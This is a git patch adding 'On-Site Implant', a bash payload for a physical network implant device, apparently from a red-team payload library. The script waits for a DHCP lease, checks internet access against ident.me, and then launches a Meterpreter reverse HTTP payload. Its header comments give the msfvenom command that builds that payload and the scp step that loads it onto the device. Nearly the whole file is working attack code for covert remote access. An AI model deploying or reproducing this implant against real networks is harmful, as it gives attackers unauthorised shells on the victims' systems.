From fec6c6a636ccc4c88776e84a7a184b2ce4047095 Mon Sep 17 00:00:00 2001 From: TW-D <75358550+TW-D@users.noreply.github.com> Date: Thu, 9 Sep 2021 15:07:10 -0400 Subject: [PATCH] Add On-Site Implant Uses a "Meterpreter Payload" for remote access via a reverse HTTP. --- .../remote_access/On-Site Implant/payload.sh | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 payloads/library/remote_access/On-Site Implant/payload.sh diff --git a/payloads/library/remote_access/On-Site Implant/payload.sh b/payloads/library/remote_access/On-Site Implant/payload.sh new file mode 100644 index 0000000..2dda07f --- /dev/null +++ b/payloads/library/remote_access/On-Site Implant/payload.sh @@ -0,0 +1,62 @@ +#!/bin/bash +# +# Title: On-Site Implant +# +# Description: Uses a "Meterpreter Payload" +# for remote access via a reverse HTTP. +# +# Author: TW-D +# Version: 1.0 +# Category: Remote Access +# +# REQUIREMENTS +# =============== +# root@shark:~# opkg update +# root@shark:~# opkg install coreutils-timeout +# hacker@computer:~$ msfvenom --payload linux/mipsle/meterpreter_reverse_http LHOST= LPORT= --format elf --out ./meterpreter +# hacker@computer:~$ scp ./meterpreter root@172.16.24.1:/root/ +# +# NOTE +# =============== +# (increase of the duration) During "LED FINISH" plug a power bank. +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH +# + +readonly EXTERNAL_URL="http://ident.me/" +readonly METERPRETER_PAYLOAD="/root/meterpreter" + +set -u + +LED SETUP + +NETMODE DHCP_CLIENT + +dhcp=$(timeout 30 /bin/bash -c 'while ! ifconfig eth0 | grep "inet addr"; do sleep 3; done') +if [ -n "${dhcp}" ] +then + + internet=$(timeout 15 /bin/bash -c "wget ${EXTERNAL_URL} -qO /dev/null" 2>&1) + if [ -z "${internet}" ] + then + + LED ATTACK + + chmod +x "${METERPRETER_PAYLOAD}" + /bin/bash -c "${METERPRETER_PAYLOAD}" & + + LED FINISH + + else + LED FAIL2 + halt + fi + +else + LED FAIL + halt +fi